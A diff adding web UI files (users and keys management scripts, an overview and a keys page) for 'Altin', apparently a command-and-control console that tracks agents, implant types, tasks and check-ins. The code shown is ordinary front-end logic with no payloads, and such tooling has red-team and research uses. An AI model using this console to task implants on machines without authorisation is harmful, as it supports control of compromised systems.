||||
|
||||
const els = {};
|
||||
|
||||
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||
|
||||
const escapeHTML = (value) => String(value ?? '')
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
|
||||
const setTheme = (theme) => {
|
||||
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||
if (els.themeToggle) {
|
||||
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||
}
|
||||
};
|
||||
|
||||
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||
|
||||
const redirectToLogin = () => {
|
||||
window.location.href = '/login.html';
|
||||
};
|
||||
|
||||
const requireAuth = () => {
|
||||
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||
|
||||
if (!token || !serverUrl) {
|
||||
redirectToLogin();
|
||||
return false;
|
||||
}
|
||||
|
||||
state.token = token;
|
||||
state.serverUrl = normalizeServer(serverUrl);
|
||||
return true;
|
||||
};
|
||||
|
||||
const apiFetch = async (path, options = {}) => {
|
||||
const headers = new Headers(options.headers || {});
|
||||
headers.set('Authorization', state.token);
|
||||
|
||||
if (options.body && !headers.has('Content-Type')) {
|
||||
headers.set('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||
...options,
|
||||
headers,
|
||||
});
|
||||
|
||||
if (response.status === 401) {
|
||||
redirectToLogin();
|
||||
throw new Error('Unauthorized');
|
||||
}
|
||||
|
||||
return response;
|
||||
};
|
||||
|
||||
const loadJSON = async (path) => {
|
||||
const response = await apiFetch(path);
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
if (!response.ok) {
|
||||
throw new Error(payload.message || `Request failed for ${path}`);
|
||||
}
|
||||
return payload;
|
||||
};
|
||||
|
||||
const setMessage = (message, tone = '') => {
|
||||
if (!els.keyModalMessage) return;
|
||||
els.keyModalMessage.textContent = message;
|
||||
els.keyModalMessage.dataset.tone = tone;
|
||||
};
|
||||
|
||||
const renderServer = () => {
|
||||
if (els.serverChip) {
|
||||
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
|
||||
}
|
||||
};
|
||||
|
||||
const formatKey = (key) => state.revealedKeys.has(key.id)
|
||||
? `<span class="key-mask revealed">${escapeHTML(key.key)}</span>`
|
||||
: '<span class="key-mask">••••••••••••</span>';
|
||||
|
||||
const renderTable = () => {
|
||||
const query = state.search.trim().toLowerCase();
|
||||
const keys = state.keys.filter((key) => {
|
||||
if (!query) return true;
|
||||
return [key.id, key.name, key.key].some((value) => String(value || '').toLowerCase().includes(query));
|
||||
});
|
||||
|
||||
state.filteredKeys = keys;
|
||||
els.keysCount.textContent = `${keys.length} total`;
|
||||
|
||||
if (!keys.length) {
|
||||
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No keys match the current search.</div></td></tr>';
|
||||
return;
|
||||
}
|
||||
|
||||
els.keysTableBody.innerHTML = keys.map((key) => `
|
||||
<tr>
|
||||
<td>${escapeHTML(key.id)}</td>
|
||||
<td>${escapeHTML(key.name)}</td>
|
||||
<td>${formatKey(key)}</td>
|
||||
<td>
|
||||
<div class="table-actions">
|
||||
<button class="button-secondary" type="button" data-key-action="toggle" data-key-id="${escapeHTML(key.id)}">${state.revealedKeys.has(key.id) ? 'Hide' : 'Show'}</button>
|
||||
<button class="button-secondary" type="button" data-key-action="copy" data-key-id="${escapeHTML(key.id)}">Copy</button>
|
||||
<button class="button-secondary" type="button" data-key-action="edit" data-key-id="${escapeHTML(key.id)}">Edit</button>
|
||||
<button class="button" type="button" data-key-action="delete" data-key-id="${escapeHTML(key.id)}">Delete</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
`).join('');
|
||||
};
|
||||
|
||||
const loadKeys = async () => {
|
||||
const payload = await loadJSON('/api/keys');
|
||||
state.keys = payload.keys || [];
|
||||
state.keys.sort((a, b) => (a.name || '').localeCompare(b.name || '', undefined, { sensitivity: 'base' }));
|
||||
renderTable();
|
||||
};
|
||||
|
||||
const openModal = (key = null) => {
|
||||
state.editingKey = key;
|
||||
els.keyModal.classList.add('is-open');
|
||||
els.keyModal.classList.remove('hidden');
|
||||
els.keyModal.setAttribute('aria-hidden', 'false');
|
||||
els.keyModalTitle.textContent = key ? 'Replace key' : 'Create key';
|
||||
els.saveKeyButton.textContent = key ? 'Replace key' : 'Save key';
|
||||
els.keyName.value = key?.name || '';
|
||||
els.keyValue.value = key?.key || '';
|
||||
setMessage('');
|
||||
els.keyName.focus();
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
els.keyModal.classList.remove('is-open');
|
||||
els.keyModal.classList.add('hidden');
|
||||
els.keyModal.setAttribute('aria-hidden', 'true');
|
||||
state.editingKey = null;
|
||||
setMessage('');
|
||||
};
|
||||
|
||||
const saveKey = async () => {
|
||||
const name = els.keyName.value.trim();
|
||||
const key = els.keyValue.value.trim();
|
||||
if (!name || !key) {
|
||||
setMessage('Name and key are required.', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
setMessage(state.editingKey ? 'Updating key…' : 'Creating key…');
|
||||
|
||||
try {
|
||||
if (state.editingKey) {
|
||||
await apiFetch('/api/keys', {
|
||||
method: 'DELETE',
|
||||
body: JSON.stringify({ id: state.editingKey.id }),
|
||||
});
|
||||
}
|
||||
|
||||
const response = await apiFetch('/api/keys', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ name, key }),
|
||||
});
|
||||
|
||||
if (!response.ok) {
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
throw new Error(payload.message || 'Unable to save key.');
|
||||
}
|
||||
|
||||
await loadKeys();
|
||||
closeModal();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to save key.', 'error');
|
||||
}
|
||||
};
|
||||
|
||||
const deleteKey = async (id) => {
|
||||
if (!confirm('Delete this key?')) return;
|
||||
try {
|
||||
const response = await apiFetch('/api/keys', {
|
||||
method: 'DELETE',
|
||||
body: JSON.stringify({ id }),
|
||||
});
|
||||
if (!response.ok && response.status !== 204) {
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
throw new Error(payload.message || 'Unable to delete key.');
|
||||
}
|
||||
state.revealedKeys.delete(id);
|
||||
await loadKeys();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to delete key.', 'error');
|
||||
}
|
||||
};
|
||||
|
||||
const copyKey = async (id) => {
|
||||
const key = state.keys.find((entry) => entry.id === id);
|
||||
if (!key) return;
|
||||
try {
|
||||
await navigator.clipboard.writeText(key.key);
|
||||
// Show a temporary confirmation
|
||||
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
|
||||
if (button) {
|
||||
const originalText = button.textContent;
|
||||
button.textContent = 'Copied!';
|
||||
setTimeout(() => {
|
||||
button.textContent = originalText;
|
||||
}, 2000);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Failed to copy key:', error);
|
||||
// Fallback for older browsers or secure context issues
|
||||
const textArea = document.createElement('textarea');
|
||||
textArea.value = key.key;
|
||||
document.body.appendChild(textArea);
|
||||
textArea.select();
|
||||
try {
|
||||
document.execCommand('copy');
|
||||
const button = document.querySelector(`[data-key-action="copy"][data-key-id="${escapeHTML(id)}"]`);
|
||||
if (button) {
|
||||
const originalText = button.textContent;
|
||||
button.textContent = 'Copied!';
|
||||
setTimeout(() => {
|
||||
button.textContent = originalText;
|
||||
}, 2000);
|
||||
}
|
||||
} catch (fallbackError) {
|
||||
console.error('Fallback copy also failed:', fallbackError);
|
||||
}
|
||||
document.body.removeChild(textArea);
|
||||
}
|
||||
};
|
||||
|
||||
const initializeTheme = () => {
|
||||
setTheme(getTheme());
|
||||
els.themeToggle.addEventListener('click', () => {
|
||||
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||
});
|
||||
};
|
||||
|
||||
const initializeLogout = () => {
|
||||
els.logoutButton.addEventListener('click', () => {
|
||||
localStorage.removeItem(STORAGE_KEYS.token);
|
||||
redirectToLogin();
|
||||
});
|
||||
};
|
||||
|
||||
const initializeHandlers = () => {
|
||||
els.keySearch.addEventListener('input', (event) => {
|
||||
state.search = event.target.value;
|
||||
renderTable();
|
||||
});
|
||||
|
||||
els.refreshKeysButton.addEventListener('click', loadKeys);
|
||||
els.createKeyButton.addEventListener('click', () => openModal());
|
||||
els.closeKeyModalButton.addEventListener('click', closeModal);
|
||||
els.cancelKeyModalButton.addEventListener('click', closeModal);
|
||||
els.keyModal.addEventListener('click', (event) => {
|
||||
if (event.target === els.keyModal) closeModal();
|
||||
});
|
||||
els.saveKeyButton.addEventListener('click', saveKey);
|
||||
|
||||
els.keysTableBody.addEventListener('click', (event) => {
|
||||
const button = event.target.closest('[data-key-action]');
|
||||
if (!button) return;
|
||||
const id = button.dataset.keyId;
|
||||
const key = state.keys.find((entry) => entry.id === id);
|
||||
if (!key) return;
|
||||
|
||||
switch (button.dataset.keyAction) {
|
||||
case 'toggle':
|
||||
if (state.revealedKeys.has(id)) state.revealedKeys.delete(id); else state.revealedKeys.add(id);
|
||||
renderTable();
|
||||
break;
|
||||
case 'copy':
|
||||
copyKey(id);
|
||||
break;
|
||||
case 'edit':
|
||||
openModal(key);
|
||||
break;
|
||||
case 'delete':
|
||||
deleteKey(id);
|
||||
break;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
const cacheElements = () => {
|
||||
els.themeToggle = document.getElementById('themeToggle');
|
||||
els.logoutButton = document.getElementById('logoutButton');
|
||||
els.serverChip = document.getElementById('serverChip');
|
||||
els.refreshKeysButton = document.getElementById('refreshKeysButton');
|
||||
els.createKeyButton = document.getElementById('createKeyButton');
|
||||
els.keySearch = document.getElementById('keySearch');
|
||||
els.keysCount = document.getElementById('keysCount');
|
||||
els.keysTableBody = document.getElementById('keysTableBody');
|
||||
els.keyModal = document.getElementById('keyModal');
|
||||
els.closeKeyModalButton = document.getElementById('closeKeyModalButton');
|
||||
els.cancelKeyModalButton = document.getElementById('cancelKeyModalButton');
|
||||
els.keyModalTitle = document.getElementById('keyModalTitle');
|
||||
els.keyModalMessage = document.getElementById('keyModalMessage');
|
||||
els.keyName = document.getElementById('keyName');
|
||||
els.keyValue = document.getElementById('keyValue');
|
||||
els.saveKeyButton = document.getElementById('saveKeyButton');
|
||||
};
|
||||
|
||||
const main = async () => {
|
||||
if (!requireAuth()) return;
|
||||
cacheElements();
|
||||
initializeTheme();
|
||||
initializeLogout();
|
||||
initializeHandlers();
|
||||
renderServer();
|
||||
try {
|
||||
await loadKeys();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to load keys.', 'error');
|
||||
els.keysTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load keys.</div></td></tr>';
|
||||
}
|
||||
};
|
||||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
})();
|
||||
324
webui/assets/js/users.js
Normal file
324
webui/assets/js/users.js
Normal file
@ -0,0 +1,324 @@
|
||||
(() => {
|
||||
const STORAGE_KEYS = {
|
||||
theme: 'altin.theme',
|
||||
token: 'altin.token',
|
||||
serverUrl: 'altin.serverUrl',
|
||||
};
|
||||
|
||||
const state = {
|
||||
serverUrl: '',
|
||||
token: '',
|
||||
users: [],
|
||||
search: '',
|
||||
editingUser: null,
|
||||
};
|
||||
|
||||
const els = {};
|
||||
|
||||
const normalizeServer = (value) => value.trim().replace(/\/+$/, '');
|
||||
const escapeHTML = (value) => String(value ?? '')
|
||||
.replace(/&/g, '&')
|
||||
.replace(/</g, '<')
|
||||
.replace(/>/g, '>')
|
||||
.replace(/"/g, '"')
|
||||
.replace(/'/g, ''');
|
||||
|
||||
const setTheme = (theme) => {
|
||||
const nextTheme = theme === 'light' ? 'light' : 'dark';
|
||||
document.documentElement.setAttribute('data-theme', nextTheme);
|
||||
localStorage.setItem(STORAGE_KEYS.theme, nextTheme);
|
||||
if (els.themeToggle) {
|
||||
els.themeToggle.textContent = nextTheme === 'dark' ? 'Light' : 'Dark';
|
||||
}
|
||||
};
|
||||
|
||||
const getTheme = () => localStorage.getItem(STORAGE_KEYS.theme) || 'dark';
|
||||
|
||||
const redirectToLogin = () => {
|
||||
window.location.href = '/login.html';
|
||||
};
|
||||
|
||||
const requireAuth = () => {
|
||||
const token = localStorage.getItem(STORAGE_KEYS.token);
|
||||
const serverUrl = localStorage.getItem(STORAGE_KEYS.serverUrl);
|
||||
|
||||
if (!token || !serverUrl) {
|
||||
redirectToLogin();
|
||||
return false;
|
||||
}
|
||||
|
||||
state.token = token;
|
||||
state.serverUrl = normalizeServer(serverUrl);
|
||||
|
||||
try {
|
||||
const payloadPart = token.split('.')[1] || '';
|
||||
const base64 = payloadPart.replace(/-/g, '+').replace(/_/g, '/');
|
||||
const padded = base64 + '='.repeat((4 - (base64.length % 4 || 4)) % 4);
|
||||
const payload = JSON.parse(atob(padded));
|
||||
if (!payload.admin) {
|
||||
window.location.href = '/index.html';
|
||||
return false;
|
||||
}
|
||||
} catch {
|
||||
window.location.href = '/index.html';
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
};
|
||||
|
||||
const apiFetch = async (path, options = {}) => {
|
||||
const headers = new Headers(options.headers || {});
|
||||
headers.set('Authorization', state.token);
|
||||
|
||||
if (options.body && !headers.has('Content-Type')) {
|
||||
headers.set('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
const response = await fetch(`${state.serverUrl}${path}`, {
|
||||
...options,
|
||||
headers,
|
||||
});
|
||||
|
||||
if (response.status === 401) {
|
||||
redirectToLogin();
|
||||
throw new Error('Unauthorized');
|
||||
}
|
||||
|
||||
return response;
|
||||
};
|
||||
|
||||
const loadJSON = async (path) => {
|
||||
const response = await apiFetch(path);
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
if (!response.ok) {
|
||||
throw new Error(payload.message || `Request failed for ${path}`);
|
||||
}
|
||||
return payload;
|
||||
};
|
||||
|
||||
const setMessage = (message, tone = '') => {
|
||||
if (!els.userModalMessage) return;
|
||||
els.userModalMessage.textContent = message;
|
||||
els.userModalMessage.dataset.tone = tone;
|
||||
};
|
||||
|
||||
const renderServer = () => {
|
||||
if (els.serverChip) {
|
||||
els.serverChip.textContent = state.serverUrl.replace(/^https?:\/\//, '');
|
||||
}
|
||||
};
|
||||
|
||||
const renderTable = () => {
|
||||
const query = state.search.trim().toLowerCase();
|
||||
const users = state.users.filter((user) => {
|
||||
if (!query) return true;
|
||||
return [user.id, user.username].some((value) => String(value || '').toLowerCase().includes(query));
|
||||
});
|
||||
|
||||
els.usersCount.textContent = `${users.length} total`;
|
||||
|
||||
if (!users.length) {
|
||||
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">No users match the current search.</div></td></tr>';
|
||||
return;
|
||||
}
|
||||
|
||||
els.usersTableBody.innerHTML = users.map((user) => `
|
||||
<tr>
|
||||
<td>${escapeHTML(user.id)}</td>
|
||||
<td>${escapeHTML(user.username)}</td>
|
||||
<td>${user.admin ? '<span class="admin-chip">Admin</span>' : '<span class="user-chip">User</span>'}</td>
|
||||
<td>
|
||||
<div class="table-actions">
|
||||
<button class="button-secondary" type="button" data-user-action="edit" data-user-id="${escapeHTML(user.id)}">Edit</button>
|
||||
<button class="button" type="button" data-user-action="delete" data-user-id="${escapeHTML(user.id)}">Delete</button>
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
`).join('');
|
||||
};
|
||||
|
||||
const loadUsers = async () => {
|
||||
const payload = await loadJSON('/api/users');
|
||||
state.users = payload.users || [];
|
||||
state.users.sort((a, b) => (a.username || '').localeCompare(b.username || '', undefined, { sensitivity: 'base' }));
|
||||
renderTable();
|
||||
};
|
||||
|
||||
const openModal = (user = null) => {
|
||||
state.editingUser = user;
|
||||
els.userModal.classList.add('is-open');
|
||||
els.userModal.classList.remove('hidden');
|
||||
els.userModal.setAttribute('aria-hidden', 'false');
|
||||
els.userModalTitle.textContent = user ? 'Edit user' : 'Create user';
|
||||
els.saveUserButton.textContent = user ? 'Update user' : 'Save user';
|
||||
els.userName.value = user?.username || '';
|
||||
els.userPassword.value = '';
|
||||
els.userAdmin.checked = Boolean(user?.admin);
|
||||
setMessage('');
|
||||
els.userName.focus();
|
||||
};
|
||||
|
||||
const closeModal = () => {
|
||||
els.userModal.classList.remove('is-open');
|
||||
els.userModal.classList.add('hidden');
|
||||
els.userModal.setAttribute('aria-hidden', 'true');
|
||||
state.editingUser = null;
|
||||
setMessage('');
|
||||
};
|
||||
|
||||
const saveUser = async () => {
|
||||
const username = els.userName.value.trim();
|
||||
const password = els.userPassword.value;
|
||||
const admin = els.userAdmin.checked;
|
||||
|
||||
if (!username) {
|
||||
setMessage('Username is required.', 'error');
|
||||
return;
|
||||
}
|
||||
|
||||
setMessage(state.editingUser ? 'Updating user…' : 'Creating user…');
|
||||
|
||||
try {
|
||||
if (state.editingUser) {
|
||||
if (username !== state.editingUser.username) {
|
||||
const response = await apiFetch('/api/users', {
|
||||
method: 'PATCH',
|
||||
body: JSON.stringify({ id: state.editingUser.id, username }),
|
||||
});
|
||||
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||
}
|
||||
if (password) {
|
||||
const response = await apiFetch('/api/users', {
|
||||
method: 'PATCH',
|
||||
body: JSON.stringify({ id: state.editingUser.id, password }),
|
||||
});
|
||||
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||
}
|
||||
if (admin !== Boolean(state.editingUser.admin)) {
|
||||
const response = await apiFetch('/api/users', {
|
||||
method: 'PATCH',
|
||||
body: JSON.stringify({ id: state.editingUser.id, admin }),
|
||||
});
|
||||
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to update user.');
|
||||
}
|
||||
} else {
|
||||
if (!password) {
|
||||
setMessage('Password is required.', 'error');
|
||||
return;
|
||||
}
|
||||
const response = await apiFetch('/api/users', {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ username, password, admin }),
|
||||
});
|
||||
if (!response.ok) throw new Error((await response.json().catch(() => ({}))).message || 'Unable to create user.');
|
||||
}
|
||||
|
||||
await loadUsers();
|
||||
closeModal();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to save user.', 'error');
|
||||
}
|
||||
};
|
||||
|
||||
const deleteUser = async (id) => {
|
||||
if (!confirm('Delete this user?')) return;
|
||||
try {
|
||||
const response = await apiFetch('/api/users', {
|
||||
method: 'DELETE',
|
||||
body: JSON.stringify({ id }),
|
||||
});
|
||||
if (!response.ok && response.status !== 204) {
|
||||
const payload = await response.json().catch(() => ({}));
|
||||
throw new Error(payload.message || 'Unable to delete user.');
|
||||
}
|
||||
await loadUsers();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to delete user.', 'error');
|
||||
}
|
||||
};
|
||||
|
||||
const initializeTheme = () => {
|
||||
setTheme(getTheme());
|
||||
els.themeToggle.addEventListener('click', () => {
|
||||
setTheme(getTheme() === 'dark' ? 'light' : 'dark');
|
||||
});
|
||||
};
|
||||
|
||||
const initializeLogout = () => {
|
||||
els.logoutButton.addEventListener('click', () => {
|
||||
localStorage.removeItem(STORAGE_KEYS.token);
|
||||
redirectToLogin();
|
||||
});
|
||||
};
|
||||
|
||||
const initializeHandlers = () => {
|
||||
els.userSearch.addEventListener('input', (event) => {
|
||||
state.search = event.target.value;
|
||||
renderTable();
|
||||
});
|
||||
|
||||
els.refreshUsersButton.addEventListener('click', loadUsers);
|
||||
els.createUserButton.addEventListener('click', () => openModal());
|
||||
els.closeUserModalButton.addEventListener('click', closeModal);
|
||||
els.cancelUserModalButton.addEventListener('click', closeModal);
|
||||
els.userModal.addEventListener('click', (event) => {
|
||||
if (event.target === els.userModal) closeModal();
|
||||
});
|
||||
els.saveUserButton.addEventListener('click', saveUser);
|
||||
|
||||
els.usersTableBody.addEventListener('click', (event) => {
|
||||
const button = event.target.closest('[data-user-action]');
|
||||
if (!button) return;
|
||||
const id = button.dataset.userId;
|
||||
const user = state.users.find((entry) => entry.id === id);
|
||||
if (!user) return;
|
||||
|
||||
switch (button.dataset.userAction) {
|
||||
case 'edit':
|
||||
openModal(user);
|
||||
break;
|
||||
case 'delete':
|
||||
deleteUser(id);
|
||||
break;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
const cacheElements = () => {
|
||||
els.themeToggle = document.getElementById('themeToggle');
|
||||
els.logoutButton = document.getElementById('logoutButton');
|
||||
els.serverChip = document.getElementById('serverChip');
|
||||
els.refreshUsersButton = document.getElementById('refreshUsersButton');
|
||||
els.createUserButton = document.getElementById('createUserButton');
|
||||
els.userSearch = document.getElementById('userSearch');
|
||||
els.usersCount = document.getElementById('usersCount');
|
||||
els.usersTableBody = document.getElementById('usersTableBody');
|
||||
els.userModal = document.getElementById('userModal');
|
||||
els.closeUserModalButton = document.getElementById('closeUserModalButton');
|
||||
els.cancelUserModalButton = document.getElementById('cancelUserModalButton');
|
||||
els.userModalTitle = document.getElementById('userModalTitle');
|
||||
els.userModalMessage = document.getElementById('userModalMessage');
|
||||
els.userName = document.getElementById('userName');
|
||||
els.userPassword = document.getElementById('userPassword');
|
||||
els.userAdmin = document.getElementById('userAdmin');
|
||||
els.saveUserButton = document.getElementById('saveUserButton');
|
||||
};
|
||||
|
||||
const main = async () => {
|
||||
if (!requireAuth()) return;
|
||||
cacheElements();
|
||||
initializeTheme();
|
||||
initializeLogout();
|
||||
initializeHandlers();
|
||||
renderServer();
|
||||
try {
|
||||
await loadUsers();
|
||||
} catch (error) {
|
||||
setMessage(error.message || 'Unable to load users.', 'error');
|
||||
els.usersTableBody.innerHTML = '<tr><td colspan="4"><div class="empty-state">Unable to load users.</div></td></tr>';
|
||||
}
|
||||
};
|
||||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
})();
|
||||
142
webui/index.html
Normal file
142
webui/index.html
Normal file
@ -0,0 +1,142 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Altin | Overview</title>
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/main.css">
|
||||
<link rel="stylesheet" href="/assets/css/home.css">
|
||||
<script defer src="/assets/js/app.js"></script>
|
||||
</head>
|
||||
<body class="app-page">
|
||||
<div class="app-layout">
|
||||
<aside class="sidebar">
|
||||
<div class="brand-block">
|
||||
<div class="brand-name">Altin</div>
|
||||
<div class="brand-subtitle">Management console</div>
|
||||
</div>
|
||||
|
||||
<div class="sidebar-section">
|
||||
<nav class="nav-list" aria-label="Primary">
|
||||
<a class="nav-item is-active" href="/index.html">
|
||||
<span>Overview</span>
|
||||
</a>
|
||||
<a class="nav-item" href="/agents.html">
|
||||
<span>Agents</span>
|
||||
</a>
|
||||
<a class="nav-item" href="/keys.html">
|
||||
<span>Keys</span>
|
||||
</a>
|
||||
<a class="nav-item" href="/users.html">
|
||||
<span>Users</span>
|
||||
</a>
|
||||
</nav>
|
||||
</div>
|
||||
|
||||
<div class="sidebar-footer">
|
||||
<div class="sidebar-info">
|
||||
<strong>Session</strong><br>
|
||||
<span id="serverChip">loading…</span>
|
||||
</div>
|
||||
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<main class="main-shell">
|
||||
<header class="page-header">
|
||||
<div>
|
||||
<div class="page-title">Overview</div>
|
||||
<div class="page-error" id="pageError" role="status" aria-live="polite"></div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="metric-grid" aria-label="Summary metrics">
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Agents</div>
|
||||
<div class="metric-value" id="metricAgents">0</div>
|
||||
<!-- <div class="metric-note" id="metricAgentsNote">0 registered agents</div> -->
|
||||
</article>
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Active</div>
|
||||
<div class="metric-value" id="metricActive">0</div>
|
||||
<!-- <div class="metric-note" id="metricActiveNote">0 active agents</div> -->
|
||||
</article>
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Inactive</div>
|
||||
<div class="metric-value" id="metricInactive">0</div>
|
||||
<!-- <div class="metric-note" id="metricInactiveNote">0 inactive agents</div> -->
|
||||
</article>
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Total tasks</div>
|
||||
<div class="metric-value" id="metricTasks">0</div>
|
||||
<!-- <div class="metric-note" id="metricTasksNote">0 tasks in total</div> -->
|
||||
</article>
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Sent tasks</div>
|
||||
<div class="metric-value" id="metricSent">0</div>
|
||||
<!-- <div class="metric-note" id="metricSentNote">0 tasks already sent</div> -->
|
||||
</article>
|
||||
<article class="metric-card">
|
||||
<div class="metric-label">Completed tasks</div>
|
||||
<div class="metric-value" id="metricCompleted">0</div>
|
||||
<!-- <div class="metric-note" id="metricCompletedNote">0 tasks completed</div> -->
|
||||
</article>
|
||||
</section>
|
||||
|
||||
<section class="dashboard-grid">
|
||||
<article class="panel">
|
||||
<div class="panel-header">
|
||||
<div>
|
||||
<div class="panel-title">Implant types</div>
|
||||
<div class="panel-subtitle" id="chartSubtitle">agents by implant type</div>
|
||||
</div>
|
||||
<span class="status-chip"><span id="chartTotal">0</span> agents</span>
|
||||
</div>
|
||||
<div class="chart-wrap">
|
||||
<div class="chart-box">
|
||||
<canvas id="chartCanvas"></canvas>
|
||||
<div class="chart-center">
|
||||
<strong id="chartTotalCenter">0</strong>
|
||||
<span>Total</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="legend-list" id="legendList"></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="panel">
|
||||
<div class="panel-header">
|
||||
<div>
|
||||
<div class="panel-title">Operating systems</div>
|
||||
<div class="panel-subtitle" id="osChartSubtitle">agents by operating system</div>
|
||||
</div>
|
||||
<span class="status-chip"><span id="osChartTotal">0</span> agents</span>
|
||||
</div>
|
||||
<div class="chart-wrap">
|
||||
<div class="chart-box">
|
||||
<canvas id="osChartCanvas"></canvas>
|
||||
<div class="chart-center">
|
||||
<strong id="osChartTotalCenter">0</strong>
|
||||
<span>Total</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="legend-list" id="osLegendList"></div>
|
||||
</div>
|
||||
</article>
|
||||
|
||||
<article class="panel">
|
||||
<div class="panel-header">
|
||||
<div>
|
||||
<div class="panel-title">Recent agents</div>
|
||||
<div class="panel-subtitle">Most recent check-ins</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="recent-list" id="recentList"></div>
|
||||
</article>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
116
webui/keys.html
Normal file
116
webui/keys.html
Normal file
@ -0,0 +1,116 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Altin | Keys</title>
|
||||
|
||||
<link rel="stylesheet" href="/assets/css/main.css">
|
||||
<link rel="stylesheet" href="/assets/css/home.css">
|
||||
<script defer src="/assets/js/keys.js"></script>
|
||||
</head>
|
||||
<body class="app-page">
|
||||
<div class="app-layout">
|
||||
<aside class="sidebar">
|
||||
<div class="brand-block">
|
||||
<div class="brand-name">Altin</div>
|
||||
<div class="brand-subtitle">Management console</div>
|
||||
</div>
|
||||
<div class="sidebar-section">
|
||||
<nav class="nav-list" aria-label="Primary">
|
||||
<a class="nav-item" href="/index.html"><span>Overview</span></a>
|
||||
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
|
||||
<a class="nav-item is-active" href="/keys.html"><span>Keys</span></a>
|
||||
<a class="nav-item" href="/users.html"><span>Users</span></a>
|
||||
</nav>
|
||||
</div>
|
||||
<div class="sidebar-footer">
|
||||
<div class="sidebar-info">
|
||||
<strong>Session</strong><br>
|
||||
<span id="serverChip">loading…</span>
|
||||
</div>
|
||||
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||
</div>
|
||||
</aside>
|
||||
|
||||
<main class="main-shell">
|
||||
<header class="page-header page-header-spaced">
|
||||
<div>
|
||||
<div class="page-title">Keys</div>
|
||||
</div>
|
||||
<div class="topbar-actions">
|
||||
<button class="button-secondary" id="refreshKeysButton" type="button">Refresh</button>
|
||||
<button class="button" id="createKeyButton" type="button">Create key</button>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<section class="page-section">
|
||||
<section class="agents-toolbar panel">
|
||||
<div class="filter-grid keys-filter-grid">
|
||||
<div>
|
||||
<label class="field-label" for="keySearch">Search</label>
|
||||
<input class="input" id="keySearch" type="search" placeholder="Name, key ID, or key text">
|
||||
</div>
|
||||
<div class="selection-bar keys-summary">
|
||||
<div>
|
||||
<span class="selection-label">Keys</span>
|
||||
<div class="selection-count" id="keysCount">0 total</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="panel agents-table-panel">
|
||||
<div class="table-wrap">
|
||||
<table class="data-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>ID</th>
|
||||
<th>Name</th>
|
||||
<th>Key</th>
|
||||
